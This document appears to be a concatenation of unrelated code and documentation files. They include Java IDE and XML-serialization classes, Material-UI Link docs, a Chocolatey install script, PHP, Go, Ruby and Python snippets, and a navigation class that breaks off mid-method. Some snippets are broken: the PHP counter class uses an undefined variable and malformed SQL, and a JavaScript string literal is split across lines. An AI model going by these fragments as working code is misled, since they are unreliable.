import com.intellij.util.containers.ContainerUtil;
import org.jetbrains.annotations.NotNull;

import javax.swing.*;
import javax.swing.event.ListSelectionEvent;
import javax.swing.event.ListSelectionListener;
import java.awt.*;
import java.util.ArrayList;
import java.util.Date;

/**
 * @author Dmitry Avdeev
 */
public class ChooseStacktraceDialog extends DialogWrapper {

  private JList myList;
  private JPanel myPanel;
  private JPanel myEditorPanel;
  private final AnalyzeStacktraceUtil.StacktraceEditorPanel myEditor;

  public ChooseStacktraceDialog(Project project, final Task issue) {
    super(project, false);

    setTitle("Choose Stacktrace to Analyze");
    Comment[] comments = issue.getComments();
    ArrayList<Comment> list = new ArrayList<>(comments.length + 1);
    final String description = issue.getDescription();
    if (description != null) {
      list.add(new Description(description));
    }
    ContainerUtil.addAll(list, comments);

    myList.setModel(new CollectionListModel<>(list));
    myList.setCellRenderer(new ColoredListCellRenderer() {
      @Override
      protected void customizeCellRenderer(@NotNull JList list, Object value, int index, boolean selected, boolean hasFocus) {
        if (value instanceof Description) {
          append("Description");
        }
        else {
          append("Commented by " + ((Comment)value).getAuthor() + " (" + ((Comment)value).getDate() + ")");
        }
      }
    });

    myEditor = AnalyzeStacktraceUtil.createEditorPanel(project, myDisposable);
    myEditorPanel.add(myEditor, BorderLayout.CENTER);
    myList.getSelectionModel().addListSelectionListener(new ListSelectionListener() {
      public void valueChanged(ListSelectionEvent e) {
        Object value = myList.getSelectedValue();
        if (value instanceof Comment) {
          myEditor.setText(((Comment)value).getText());
        }
        else {
          myEditor.setText("");
        }
      }
    });
    myList.setSelectedValue(list.get(0), false);
    init();
  }

  @Override
  public JComponent getPreferredFocusedComponent() {
    return myList;
  }

  protected JComponent createCenterPanel() {
    return myPanel;
  }

  public Comment[] getTraces() {
    return ArrayUtil.toObjectArray(Comment.class, myList.getSelectedValues());
  }

  private static class Description extends Comment {
    private final String myDescription;

    public Description(String description) {
      myDescription = description;
    }

    @Override
    public String getText() {
      return myDescription;
    }

    @Override
    public String getAuthor() {
      return null;
    }

    @Override
    public Date getDate() {
      return null;
    }
  }
}


text:
package org.simpleframework.xml.core;

import static org.simpleframework.xml.DefaultType.FIELD;

import java.util.List;

import org.simpleframework.xml.Order;
import org.simpleframework.xml.Version;

/**
 * The DefaultScanner performs the reflective inspection
 * of a class and builds a map of attributes and elements for each
 * annotated field. This acts as a cachable container for reflection
 * actions performed on a specific type. This specific scanner is
 * used to extract fields from a class that is not annotated. Such
 * a scanner can allow external classes to be serialized without the
 * need to annotate the serialized type.
 *
 * @author Niall Gallagher
 *
 * @see org.simpleframework.xml.core.ObjectScanner
 * @see org.simpleframework.xml.core.Schema
 */
class DefaultScanner implements Scanner {

   /**
    * This object contains various support functions for the class.
    */
   private Scanner scanner;

   /**
    * This contains the details for the class that is being scanned.
    */
   private Detail detail;

   /**
    * Constructor for the DefaultScanner object. This is
    * used to scan the provided class for annotations that are used
    * to build a schema for an XML file to follow.
    *
    * @param original this contains the details for the class scanned
    * @param support this contains various support functions
    */
   public DefaultScanner(Detail original, Support support) throws Exception {
      this.detail = new DefaultDetail(original, FIELD);
      this.scanner = new ObjectScanner(detail, support);
   }

   /**
    * This is used to acquire the default signature for the class.
    * The default signature is the signature for the no argument
    * constructor for the type. If there is no default constructor
    * for the type then this will return null.
    *
    * @return this returns the default signature if it exists
    */
   public Signature getSignature() {
      return scanner.getSignature();
   }

   /**
    * This returns the signatures for the type. All constructors are
    * represented as a signature and returned. More signatures than
    * constructors will be returned if a constructor is annotated
    * with a union annotation.
    *
    * @return this returns the list of signatures for the type
    */
   public List<Signature> getSignatures() {
      return scanner.getSignatures();
   }

   /**
    * This returns a map of all parameters that exist. This is used
    * to validate all the parameters against the field and method
    * annotations that exist within the class.
    *
    * @return this returns a map of all parameters within the type
    */
   public ParameterMap getParameters() {
      return scanner.getParameters();
   }

   /**
    * This is used to acquire the instantiator for the type. This is
    * used to create object instances based on the constructors that
    * have been annotated. If no constructors have been annotated
    * then this can be used to create default no argument instances.
    *
    * @return this instantiator responsible for creating instances
    */
   public Instantiator getInstantiator() {
      return scanner.getInstantiator();
   }

   /**
    * This is used to acquire the type that this scanner scans for
    * annotations to be used in a schema. Exposing the class that
    * this represents allows the schema it creates to be known.
    *
    * @return this is the type that this creator will represent
    */
   public Class getType() {
      return scanner.getType();
   }

   /**
    * This is used to acquire the Decorator for this.
    * A decorator is an object that adds various details to the
    * node without changing the overall structure of the node. For
    * example comments and namespaces can be added to the node with
    * a decorator as they do not affect the deserialization.
    *
    * @return this returns the decorator associated with this
    */
   public Decorator getDecorator() {
      return scanner.getDecorator();
   }

   /**
    * This method is used to return the Caller for this
    * class. The caller is a means to deliver invocations to the
    * object for the persister callback methods. It aggregates all of
    * the persister callback methods in to a single object.
    *
    * @return this returns a caller used for delivering callbacks
    */
   public Caller getCaller(Context context) {
      return scanner.getCaller(context);
   }

   /**
    * This is used to create a Section given the context
    * used for serialization. A section is an XML structure that
    * contains all the elements and attributes defined for the class.
    * Each section is a tree like structure defining exactly where
    * each attribute an element is located within the source XML.
    *
    * @return this will return a section for serialization
    */
   public Section getSection() {
      return scanner.getSection();
   }

   /**
    * This is the Version for the scanned class. It
    * allows the deserialization process to be configured such that
    * if the version is different from the schema class none of
    * the fields and methods are required and unmatched elements
    * and attributes will be ignored.
    *
    * @return this returns the version of the class that is scanned
    */
   public Version getRevision() {
      return scanner.getRevision();
   }

   /**
    * This is used to acquire the Order annotation for
    * the class schema. The order annotation defines the order that
    * the elements and attributes should appear within the document.
    * Providing order in this manner makes the resulting XML more
    * predictable. If no order is provided, appearance is random.
    *
    * @return this returns the order, if any, defined for the class
    */
   public Order getOrder() {
      return scanner.getOrder();
   }

   /**
    * This returns the Label that represents the version
    * annotation for the scanned class. Only a single version can
    * exist within the class if more than one exists an exception is
    * thrown. This will read only floating point types such as double.
    *
    * @return this returns the label used for reading the version
    */
   public Label getVersion() {
      return scanner.getVersion();
   }

   /**
    * This returns the Label that represents the text
    * annotation for the scanned class. Only a single text annotation
    * can be used per class, so this returns only a single label
    * rather than a LabelMap object. Also if this is
    * not null then the elements label map must be empty.
    *
    * @return this returns the text label for the scanned class
    */
   public Label getText() {
      return scanner.getText();
   }

   /**
    * This returns the name of the class processed by this scanner.
    * The name is either the name as specified in the last found
    * Root annotation, or if a name was not specified
    * within the discovered root then the Java Bean class name of
    * the last class annotated with a root annotation.
    *
    * @return this returns the name of the object being scanned
    */
   public String getName() {
      return detail.getName();
   }

   /**
    * This method is used to retrieve the schema class commit method
    * during the deserialization process. The commit method must be
    * marked with the Commit annotation so that when the
    * object is deserialized the persister has a chance to invoke the
    * method so that the object can build further data structures.
    *
    * @return this returns the commit method for the schema class
    */
   public Function getCommit() {
      return scanner.getCommit();
   }

   /**
    * This method is used to retrieve the schema class validation
    * method during the deserialization process. The validation method
    * must be marked with the Validate annotation so that
    * when the object is deserialized the persister has a chance to
    * invoke that method so that object can validate its field values.
    *
    * @return this returns the validate method for the schema class
    */
   public Function getValidate() {
      return scanner.getValidate();
   }

   /**
    * This method is used to retrieve the schema class persistence
    * method. This is invoked during the serialization process to
    * get the object a chance to perform an nessecary preparation
    * before the serialization of the object proceeds. The persist
    * method must be marked with the Persist annotation.
    *
    * @return this returns the persist method for the schema class
    */
   public Function getPersist() {
      return scanner.getPersist();
   }

   /**
    * This method is used to retrieve the schema class completion
    * method. This is invoked after the serialization process has
    * completed and gives the object a chance to restore its state
    * if the persist method required some alteration or locking.
    * This is marked with the Complete annotation.
    *
    * @return returns the complete method for the schema class
    */
   public Function getComplete() {
      return scanner.getComplete();
   }

   /**
    * This method is used to retrieve the schema class replacement
    * method. The replacement method is used to substitute an object
    * that has been deserialized with another object. This allows
    * a seamless delegation mechanism to be implemented. This is
    * marked with the Replace annotation.
    *
    * @return returns the replace method for the schema class
    */
   public Function getReplace() {
      return scanner.getReplace();
   }

   /**
    * This method is used to retrieve the schema class replacement
    * method. The replacement method is used to substitute an object
    * that has been deserialized with another object. This allows
    * a seamless delegation mechanism to be implemented. This is
    * marked with the Replace annotation.
    *
    * @return returns the replace method for the schema class
    */
   public Function getResolve() {
      return scanner.getResolve();
   }

   /**
    * This is used to determine whether the scanned class represents
    * a primitive type. A primitive type is a type that contains no
    * XML annotations and so cannot be serialized with an XML form.
    * Instead primitives a serialized using transformations.
    *
    * @return this returns true if no XML annotations were found
    */
   public boolean isPrimitive() {
      return scanner.isPrimitive();
   }

   /**
    * This is used to determine whether the scanned class represents
    * a primitive type. A primitive type is a type that contains no
    * XML annotations and so cannot be serialized with an XML form.
    * Instead primitives a serialized using transformations.
    *
    * @return this returns true if no XML annotations were found
    */
   public boolean isEmpty() {
      return scanner.isEmpty();
   }

   /**
    * This method is used to determine whether strict mappings are
    * required. Strict mapping means that all labels in the class
    * schema must match the XML elements and attributes in the
    * source XML document. When strict mapping is disabled, then
    * XML elements and attributes that do not exist in the schema
    * class will be ignored without breaking the parser.
    *
    * @return true if strict parsing is enabled, false otherwise
    */
   public boolean isStrict() {
      return scanner.isStrict();
   }
}


text:
components: Link
---

# Links

The Link component allows you to easily customize anchor elements with your theme colors and typography styles.

## Simple links

The Link component is built on top of the [Typography](/api/typography/) component.
You can leverage its properties.

{{"demo": "pages/components/links/Links.js"}}

However, the Link component has different default properties than the Typography component:

- `color="primary"` as the link needs to stand out.
- `variant="inherit"` as the link will, most of the time, be used as a child of a Typography component.

## Security

When you use `target="_blank"` with Links, it is [recommended](https://developers.google.com/web/tools/lighthouse/audits/noopener) to always set `rel="noopener"` or `rel="noreferrer"` when linking to third party content.

- `rel="noopener"` prevents the new page from being able to access the `window.opener` property and ensures it runs in a separate process.
  Without this, the target page can potentially redirect your page to a malicious URL.
- `rel="noreferrer"` has the same effect, but also prevents the _Referer_ header from being sent to the new page.
  ⚠ Removing the referrer header will affect analytics.

## Third-party routing library

One common use case is to perform navigation on the client only, without an HTTP round-trip to the server.
The `Link` component provides a property to handle this use case: `component`.

Here is an [integration example with react-router](/guides/composition/#link).

## Accessibility

(WAI-ARIA: https://www.w3.org/TR/wai-aria-practices/#link)

- When providing the content for the link, avoid generic descriptions like "click here" or "go to".
  Instead, use [specific descriptions](https://developers.google.com/web/tools/lighthouse/audits/descriptive-link-text).
- For the best user experience, links should stand out from the text on the page.
- If a link doesn't have a meaningful href, [it should be rendered using a `<button>` element](https://github.com/evcohen/eslint-plugin-jsx-a11y/blob/master/docs/rules/anchor-is-valid.md).

{{"demo": "pages/components/links/ButtonLink.js"}}


text:
$packageName = $env:ChocolateyPackageName
$toolsDir = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)"
$url = 'http://www.solarix.ru/for_developers/download/win/russian-grammar-setup.exe'
$ahkExe = 'AutoHotKey'
$ahkFile = Join-Path $toolsDir "rgdinstall.ahk"

Start-Process $ahkExe $ahkFile

$packageArgs = @{
    packageName    = $packageName
    unzipLocation  = $toolsDir
    fileType       = 'exe'
    url            = $url
    softwareName   = 'Russian Grammatical Dictionary'
    checksum       = '608D2C181EC084FC84E1DED3671C2063DDA7022B3913C2481B6C6472B5C0CE3B'
    checksumType   = 'sha256'
    silentArgs     = '/S'
    validExitCodes = @(0)
}

Install-ChocolateyPackage @packageArgs


text: 1st MEAN.JS app


text:
<?php
/**
 * Created by PhpStorm.
 * User: rongself
 * Date: 2015/4/10
 * Time: 0:48
 */
namespace Application\Module\Core;

use Simple\Core\AbstractEvent;
use Simple\Core\Application;

class Boot{

    /**
     *
     */
    public function init()
    {

    }

}


text:
package fkid

import(
	"github.com/opesun/chill/frame/context"
	"github.com/opesun/chill/frame/misc/scut"
	iface "github.com/opesun/chill/frame/interfaces"
	"github.com/opesun/sanitize"
	"strings"
)

type C struct {
}

// func (c *C) Init(uni *context.Uni) {
// 	c.uni = uni
// }

func (c *C) SanitizerMangler(san *sanitize.Extractor) {
	san.AddFuncs(sanitize.FuncMap{
		"fkid": func(dat interface{}, s sanitize.Scheme) (interface{}, error) {
			cs, _ := s.Specific["comma_separated"].(bool)
			if cs {
				ret := []interface{}
				split := strings.Split(dat.(string), ",")
				for _, v := range split {
					idstr := strings.Trim(v, " ")
					id, err := scut.DecodeId(idstr)
					if err != nil {
						return nil, err
					}
					ret = append(ret, id)
				}
				return ret, nil
			}
			str := strings.Trim(dat.(string), " ")
			return scut.DecodeId(str)
		},
	})
}


text:
<annotation>
<folder>pen</folder>
<filename>pen_1_view_1_pose_2_lit_1.jpg</filename>
<source>
<database>photorealistic	rendering</database>
</source>
<size>
<width>640</width>
<height>480</height>
<depth>3</depth>
</size>
<segmented>0</segmented>
<object>
<name>pen</name>
<pose>Unspecified</pose>
<truncated>0</truncated>
<difficult>0</difficult>
<bndbox>
<xmin>169</xmin>
<ymin>113</ymin>
<xmax>529</xmax>
<ymax>416</ymax>
</bndbox>
</object>
</annotation>


text:
Printing Your Minecraft Designs
===============================

I'm working on it, but basically we will need to capture your design in an .stl file.

workflow coming soon!


text:
module Setup
  class Pin
    include CenitScoped
    include DynamicValidators

    build_in_data_type

    allow :read, :delete

    field :target_model_name, type: String
    field :target_id

    belongs_to :trace, class_name: ::Mongoid::Tracer::Trace.to_s, inverse_of: nil

    validates_presence_of :trace

    before_save do
      self.target_model_name = trace.target_model.mongoid_root_class.to_s
      self.target_id = trace.target_id
      abort_if_has_errors
    end

    delegate :target_model, :target, to: :trace, allow_nil: true

    class << self

      def for(object)
        where(target_model_name: object.class.mongoid_root_class.to_s, target_id: object.id).first
      end

    end
  end
end


text:
<?php

class CStats {

   private $db;

   public function __construct($db) {

      $this -> db = $db;
   }

   public function setCount() {

      if (isset ( $_SESSION ['views'] )) {
         $_SESSION ['views'] = $_SESSION ['views'] + 1;
      } else {
         $_SESSION ['views'] = 1;
      }

      $views = $_SESSION ['views'];

     // echo $views;

      // Adds one to the counter
    $sqlUpdate =  "UPDATE aCounter SET counter = aCounter + {$views}";

    $params = array(

          $views
    );

     $res = $this -> db -> ExecuteQuery($sql, $params);

   }

   public function getCount(){

      // Retreives the current count
      $sqlCount  =  "SELECT aCounter FROM aCounter" ;

      $res = $this -> db -> ExecuteQueryAndFetchAll( $sql, array($sql));

      //*echo "Views:". $views;

      return $res;
   }

   public function getLoadTime(){

      if(isset($pageTimeGeneration)){
         echo 'Page generated in' . round(microtime(true)-$pageTimeGeneration, 5) . 'seconds';
      }
   }
}


text:
var lunrIndex,
        resultsBox,
        pagesIndex;

function getCurrentHostname() {
    return window.location.protocol + '//' + window.location.host
}

function initLunr() {
    var request = new XMLHttpRequest();
    var url = getCurrentHostname() + '/js/lunr/index.json';
    request.open('GET', url, true);

    request.onload = function() {
      if (request.status >= 200 && request.status < 400) {
        // Success!
        pagesIndex = JSON.parse(request.responseText);
        // Set up lunrjs by declaring the fields we use
        // Also provide their boost level for the ranking
        lunrIndex = lunr(function() {
            this.field("title", {
                boost: 10
            });
            this.field("tags", {
                boost: 5
            });
            this.field("content");

            // ref is the result item identifier (I chose the page URL)
            this.ref("href");
        });

        // Feed lunr with each file and let lunr actually index them
        pagesIndex.forEach(function(page) {
            lunrIndex.add(page);
        });
        console.log('Lunr ready!');
        } else {
        console.log('We reached our target server, but it returned an error');
      }
    };

    request.onerror = function() {
      console.log('There was a connection error of some sort');
    };

    request.send();

}

/**
 * Trigger a search in lunr and transform the result
 *
 * @param  {String} query
 * @return {Array}  results
 */
function search(query) {
    // Find the item in our index corresponding to the lunr one to have more info
    // Lunr result:
    //  {ref: "/section/page1", score: 0.2725657778206127}
    // Our result:
    //  {title:"Page1", href:"/section/page1", ...}
    return lunrIndex.search(query).map(function(result) {
            return pagesIndex.filter(function(page) {
                return page.href === result.ref;
            })[0];
        });
}

function initUI() {
    resultsBox = u("#results");
    searchBox = u("#search");
    console.log(resultsBox);
    searchBox.on('keyup', function() {
        // remove all suggestions
        u("#results li").remove();

        // Only trigger a search when 2 chars. at least have been provided
        var query = searchBox.first().value;
        if (query.length < 2) {
            resultsBox.addClass('hidden');
            return;
        }

        var results = search(query);
        if (results.length > 0){
            resultsBox.removeClass('hidden');
        } else {
            resultsBox.addClass('hidden');
        }
        console.log('Results');
        console.log(results);

        renderResults(results);
    });
}

/**
 * Display the 10 first results
 *
 * @param  {Array} results to display
 */
function renderResults(results) {
    if (!results.length) {
        return;
    }

    // Only show the three first results
    results.slice(0, 3).forEach(function(result) {
        resultsBox.append("
 " + result.title + "
");
    });
}

initLunr();


text:
from PIL import Image
import tempfile

class MacQuartzWrapper(object):
    name = 'mac_quartz'
    childprocess = False
    home_url = 'https://stackoverflow.com/questions/4524723/take-screenshot-in-python-on-mac-os-x'

    def __init__(self):
        import Quartz
        import LaunchServices
        from Cocoa import NSURL
        import Quartz.CoreGraphics as CG
        self.Quartz = Quartz
        self.LaunchServices = LaunchServices
        self.NSURL = NSURL
        self.CG = CG

    def grab(self, bbox=None):
        f = tempfile.NamedTemporaryFile(
            suffix='.png', prefix='pyscreenshot_screencapture_')
        filename = f.name
        self.grab_to_file(filename, bbox=bbox)
        im = Image.open(filename)
        return im

    def grab_to_file(self, filename, bbox=None, dpi=72):
        # FIXME: Should query dpi from somewhere, e.g for retina displays

        region = self.CG.CGRectMake(*bbox) if bbox else self.CG.CGRectInfinite

        # Create screenshot as CGImage
        image = self.CG.CGWindowListCreateImage(region,
                                                self.CG.kCGWindowListOptionOnScreenOnly, self.CG.kCGNullWindowID,
                                                self.CG.kCGWindowImageDefault)

        # XXX: Can add more types:
        # https://developer.apple.com/library/mac/documentation/MobileCoreServices/Reference/UTTypeRef/Reference/reference.html#//apple_ref/doc/uid/TP40008771
        file_type = self.LaunchServices.kUTTypePNG
        if filename.endswith('.jpeg'):
            file_type = self.LaunchServices.kUTTypeJPEG
        elif filename.endswith('.tiff'):
            file_type = self.LaunchServices.kUTTypeTIFF
        elif filename.endswith('.bmp'):
            file_type = self.LaunchServices.kUTTypeBMP
        elif filename.endswith('.gif'):
            file_type = self.LaunchServices.kUTTypeGIF
        elif filename.endswith('.pdf'):
            file_type = self.LaunchServices.kUTTypePDF

        url = self.NSURL.fileURLWithPath_(filename)

        dest = self.Quartz.CGImageDestinationCreateWithURL(url, file_type,
                                                           # 1 image in file
                                                           1,
                                                           None)

        properties = {
            self.Quartz.kCGImagePropertyDPIWidth: dpi,
            self.Quartz.kCGImagePropertyDPIHeight: dpi,
        }

        # Add the image to the destination, characterizing the image with
        # the properties dictionary.
        self.Quartz.CGImageDestinationAddImage(dest, image, properties)

        # When all the images (only 1 in this example) are added to the destination,
        # finalize the CGImageDestination object.
        self.Quartz.CGImageDestinationFinalize(dest)

    def backend_version(self):
        # TODO:
        return 'not implemented'


text:
Deployment
==========

Staging/Development
-------------------

`Fabric <http://pypi.python.org/pypi/Fabric>`_ is used to allow developers to
easily push changes to a previously setup development/staging environment.
To get started, install Fabric by running the following command from within
your virtual environment::

    pip install fabric==1.4

So see a list of available commands, run the following command from within your
project directory::

    fab -l

Some common commands::

    fab restart       # Restart the web server.
    fab update        # Just update the repository.
    fab push deploy   # Push, then fully deploy.

From the within the project directory, you can just run ``fab [command]``.
If you want to run fabric outside of the directory, use::

	fab --fabfile /path/to/project/fabfile.py [command]


text:
import {Component} from 'angular2/core';

@Component({
  selector: 'home',
  template: `Public Home`
})
export class HomeComponent {}


text:
path_Set(){
  local -r scriptFilePath="$(readlink -f "$1")"
  local -r scriptDir="$( dirname "$scriptFilePath")"
  # include dependent utilities/libraries in path
  if [ -d "$scriptDir/module" ]; then
    local modDir
    for modDir in $( ls -d "$scriptDir/module"/* ); do
      PATH="$modDir:$PATH"
     done
  fi
  export PATH="$scriptDir:$PATH"
}
path_Set "${BASH_SOURCE[0]}"
source "MessageInclude.sh";
source "ArgumentsGetInclude.sh";
source "ArrayMapTestInclude.sh";
source "VirtCmmdInterface.sh";
source "CommonInclude.sh";
source "UcpInclude.sh"
source "ArgumentsMainInclude.sh";


text:
package org.jboss.hal.ballroom;

import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.LinkedHashSet;
import java.util.Map;

import elemental2.dom.Element;
import elemental2.dom.HTMLAnchorElement;
import elemental2.dom.HTMLElement;
import jsinterop.annotations.JsMethod;
import jsinterop.annotations.JsType;
import org.jboss.gwt.elemento.core.Elements;
import org.jboss.gwt.elemento.core.IsElement;
import org.jboss.hal.resources.Ids;
import org.jboss.hal.resources.UIConstants;
import org.jboss.hal.spi.Callback;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import static elemental2.dom.DomGlobal.document;
import static java.util.stream.Collectors.toList;
import static jsinterop.annotations.JsPackage.GLOBAL;
import static org.jboss.gwt.elemento.core.Elements.*;
import static org.jboss.gwt.elemento.core.EventType.bind;
import static org.jboss.gwt.elemento.core.EventType.click;
import static org.jboss.hal.resources.CSS.*;

/**
 * An element which implements the vertical
 * navigation from PatternFly.
 *
 *
The vertical navigation consists of two parts:

 *

 *
Items: The actual menu / navigation items which are child elements of the vertical navigation

 *
Panes: The panes which are not children of the vertical navigation. The panes are typically
 * children
 * of the root container. Their visibility is controlled by the vertical navigation.

 *

 *
 *
The vertical navigation itself is not a child but a sibling of the root container. It gets attached / detached to
 * the DOM by calling {@link #attach()} and {@link #detach()}.

 *
 *
There are two groups of methods:

 *

 *
{@code add*()}: Use these methods to add panes before the panes were added to the DOM

 *
{@code insert*()}: Use these methods to add panes after the panes were added to the DOM

 *

 *
 * @see https://www.patternfly.org/patterns/vertical-with-persistent-secondary/
 */
// TODO Simplify: Replace linked collections. The order of items and panes should not matter, only the order
// TODO of elements in the DOM matters! This should simplify the insert*() methods.
public class VerticalNavigation implements Attachable {

    private static final int PRIMARY_VISIBLE_TEXT_LENGTH = 13;
    private static final int SECONDARY_VISIBLE_TEXT_LENGTH = 23;
    private static final Logger logger = LoggerFactory.getLogger(VerticalNavigation.class);

    private static HTMLElement rootContainer;
    private static final HTMLElement root;
    private static final HTMLElement ul;

    static {
        root = div().css(navPfVertical, navPfVerticalHal)
                .add(ul = ul().css(listGroup).get())
                .get();
        Elements.setVisible(root, false);
    }

    private static void init() {
        rootContainer = (HTMLElement) document.getElementById(Ids.ROOT_CONTAINER);
        document.body.insertBefore(root, rootContainer);
    }

    private LinkedHashMap<String, Item> items;
    private LinkedHashMap<String, Pane> panes;
    private Map<String, Callback> callbacks;

    public VerticalNavigation() {
        this.items = new LinkedHashMap<>();
        this.panes = new LinkedHashMap<>();
        this.callbacks = new HashMap<>();
    }

    @Override
    public void attach() {
        if (rootContainer == null) {
            init();
        }
        rootContainer.classList.add(containerPfNavPfVertical);
        if (hasSecondary()) {
            rootContainer.classList.add(containerPfNavPfVerticalWithSubMenus);
            rootContainer.classList.add(navPfPersistentSecondary);
            root.classList.add(navPfVerticalWithSubMenus);
            root.classList.add(navPfPersistentSecondary);
        }
        items.values().stream()
                .filter(item -> item.parentId == null)
                .forEach(item -> ul.appendChild(item.element()));
        Elements.setVisible(root, true);

        Api.select().setupVerticalNavigation(true);
        showInitial();
    }

    @Override
    public void detach() {
        Elements.removeChildrenFrom(ul);
        root.classList.remove(navPfPersistentSecondary);
        root.classList.remove(navPfVerticalWithSubMenus);
        root.classList.remove(secondaryVisiblePf);
        rootContainer.classList.remove(secondaryVisiblePf);
        rootContainer.classList.remove(navPfPersistentSecondary);
        rootContainer.classList.remove(containerPfNavPfVerticalWithSubMenus);
        rootContainer.classList.remove(containerPfNavPfVertical);

        Elements.setVisible(root, false);
    }

    // ------------------------------------------------------ add primary items

    /**
     * Adds a primary navigation item which acts a container for secondary navigation items.
     */
    public VerticalNavigation addPrimary(String id, String text) {
        return addPrimary(items, panes, id, text, null, null);
    }

    public VerticalNavigation addPrimary(String id, String text, String iconClass) {
        return addPrimary(items, panes, id, text, iconClass, null);
    }

    /**
     * Adds a primary navigation item to the navigation which controls the visibility of the specified element.
     *

     * Unlike similar UI elements such as {@code Tabs} the element is not added as a child of this
     * navigation. The element should be rather a child of the root container.
     *
     *
Please note

     * This method does not add the item to the DOM. This has to be done manually using something
     * like

     *

     * HTMLElement root = row()
     *     .add(column()
     *         .addAll(navigation.panes()))
     *     .get();
     *

     */
    public VerticalNavigation addPrimary(String id, String text, String iconClass, IsElement element) {
        return addPrimary(items, panes, id, text, iconClass, new Pane(id, element));
    }

    public VerticalNavigation addPrimary(String id, String text, String iconClass, HTMLElement element) {
        return addPrimary(items, panes, id, text, iconClass, new Pane(id, element));
    }

    /**
     * Inserts a primary navigation item before the specified item. If {@code beforeId} is {@code null}, the
     * item is inserted as last item. If there's not item with id {@code beforeId}, an error message is logged and no
     * item is inserted.
     *

     * You must call this method after at least one item was added and before the navigation is
     * {@linkplain #attach() attached}.
     *
     *
Please note

     * Unlike {@link #addPrimary(String, String, String, IsElement)}, this method does add the item to
     * the DOM.

     */
    public void insertPrimary(String id, String beforeId, String text, String iconClass, IsElement element) {
        insertPrimary(id, beforeId, text, iconClass, element.element());
    }

    public void insertPrimary(String id, String beforeId, String text, String iconClass) {
        HTMLElement ele = null;
        insertPrimary(id, beforeId, text, iconClass, ele);
    }

    public void insertPrimary(String id, String beforeId, String text, String iconClass, HTMLElement element) {
        if (items.isEmpty()) {
            logger.error("Cannot insert {}: There has to be at least one other item.", id);
            return;
        }

        if (beforeId == null) {
            // as last item
            Pane lastPane = panes.values().iterator().next();
            if (element != null) {
                Pane pane = new Pane(id, element);
                addPrimary(items, panes, id, text, iconClass, pane);
                lastPane.element().parentNode.appendChild(pane.element());
            } else {
                addPrimary(items, panes, id, text, iconClass, null);
            }
        } else {
            if (items.containsKey(beforeId)) {
                // TODO Could be simplified: The order of panes does not matter, only the order of items matters
                LinkedHashMap<String, Item> reshuffledItems = new LinkedHashMap<>();
                LinkedHashMap<String, Pane> reshuffledPanes = new LinkedHashMap<>();

                for (String currentId : items.keySet()) {
                    if (currentId.equals(beforeId)) {
                        if (element != null) {
                            Pane pane = new Pane(id, element);
                            addPrimary(reshuffledItems, reshuffledPanes, id, text, iconClass, pane);
                            Pane refPane = panes.get(currentId);
                            refPane.element().parentNode.insertBefore(pane.element(), refPane.element());
                        } else {
                            addPrimary(reshuffledItems, reshuffledPanes, id, text, iconClass, null);
                        }
                        reshuffledItems.put(currentId, items.get(currentId));
                        reshuffledPanes.put(currentId, panes.get(currentId));

                    } else {
                        reshuffledItems.put(currentId, items.get(currentId));
                        reshuffledPanes.put(currentId, panes.get(currentId));
                    }
                }
                items = reshuffledItems;
                panes = reshuffledPanes;

            } else {
                logger.error("Cannot insert {} before {}: No item with id {} found!", id, beforeId, beforeId);
            }
        }
    }

    private VerticalNavigation addPrimary(LinkedHashMap<String, Item> items, LinkedHashMap<String, Pane> panes,
            String id, String text, String iconClass, Pane pane) {

        HTMLAnchorElement a;
        HTMLElement span;
        HTMLElement primary = li().css(listGroupItem)
                .id(id)
                .add(a = a().css(clickable).get())
                .get();

        if (pane != null) {
            bind(a, click, event -> show(id));
        }
        if (iconClass != null) {
            a.appendChild(span().css(iconClass).get());
        }
        a.appendChild(span = span().css(listGroupItemValue).textContent(text).get());
        if (text.length() > PRIMARY_VISIBLE_TEXT_LENGTH) {
            span.title = text;
        }

        Item item = new Item(id, null, text, primary);
        items.put(id, item);
        if (pane != null) {
            panes.put(id, pane);
        }

        return this;
    }

    // ------------------------------------------------------ add secondary items

    /**
     * Adds a secondary navigation item to the navigation which controls the visibility of the specified element.
     *

     * Unlike similar UI elements such as {@code Tabs} the element is not added as a child of this
     * navigation. The element should be rather a child of the root container.
     *
     *
Please note

     * This method does not add the item to the DOM. This has to be done manually using something
     * like

     *

     * HTMLElement root = row()
     *     .add(column()
     *         .addAll(navigation.panes()))
     *     .get();
     *

     */
    public VerticalNavigation addSecondary(String primaryId, String id, String text, HTMLElement element) {
        return addSecondary(items, panes, primaryId, id, text, new Pane(id, element));
    }

    /**
     * Inserts a secondary navigation item before the specified item. If {@code beforeId} is {@code null}, the
     * item is inserted as last item. If there's not item with id {@code beforeId}, an error message is logged and no
     * item is inserted.
     *

     * You must call this method after at least one item was added and before the navigation is
     * {@linkplain #attach() attached}.
     *
     *
Please note

     * Unlike {@link #addSecondary(String, String, String, HTMLElement)}, this method does add the item
     * to the DOM.

     */
    public void insertSecondary(String primaryId, String id, String beforeId, String text, HTMLElement element) {
        Item primaryItem = items.get(primaryId);
        if (primaryItem != null) {

            // The order of panes does not matter.
            Pane pane = new Pane(id, element);
            Pane lastPane = panes.values().iterator().next();
            lastPane.element().parentNode.appendChild(pane.element());

            // The order of items does matter
            if (beforeId == null) {
                // as last item
                addSecondary(items, panes, primaryId, id, text, pane);

            } else {
                // TODO insert instead of add!
                addSecondary(items, panes, primaryId, id, text, pane);
            }

        } else {
            logger.error("Unable to find primary navigation item for id '{}'", primaryId);
        }
    }

    private VerticalNavigation addSecondary(LinkedHashMap<String, Item> items, LinkedHashMap<String, Pane> panes,
            String primaryId, String id, String text, Pane pane) {
        Item primaryItem = items.get(primaryId);

        if (primaryItem != null) {
            HTMLElement secondaryUl = (HTMLElement) primaryItem.element()
                    .querySelector("." + navPfSecondaryNav + " > ul." + listGroup); //NON-NLS

            if (secondaryUl == null) {
                // seems to be the first secondary item -> setup the secondary containers
                String secondaryContainerId = Ids.build(primaryId, "secondary");
                primaryItem.element().classList.add(secondaryNavItemPf);
                primaryItem.element().dataset.set(UIConstants.TARGET, "#" + secondaryContainerId);

                HTMLElement span;
                HTMLElement div = div().css(navPfSecondaryNav, navPfSecondaryNavHal)
                        .id(secondaryContainerId)
                        .add(div().css(navItemPfHeader)
                                .add(a().css(secondaryCollapseTogglePf)
                                        .data(UIConstants.TOGGLE, "collapse-secondary-nav")) //NON-NLS
                                .add(span = span().textContent(primaryItem.text).get()))
                        .add(secondaryUl = ul().css(listGroup).get())
                        .get();

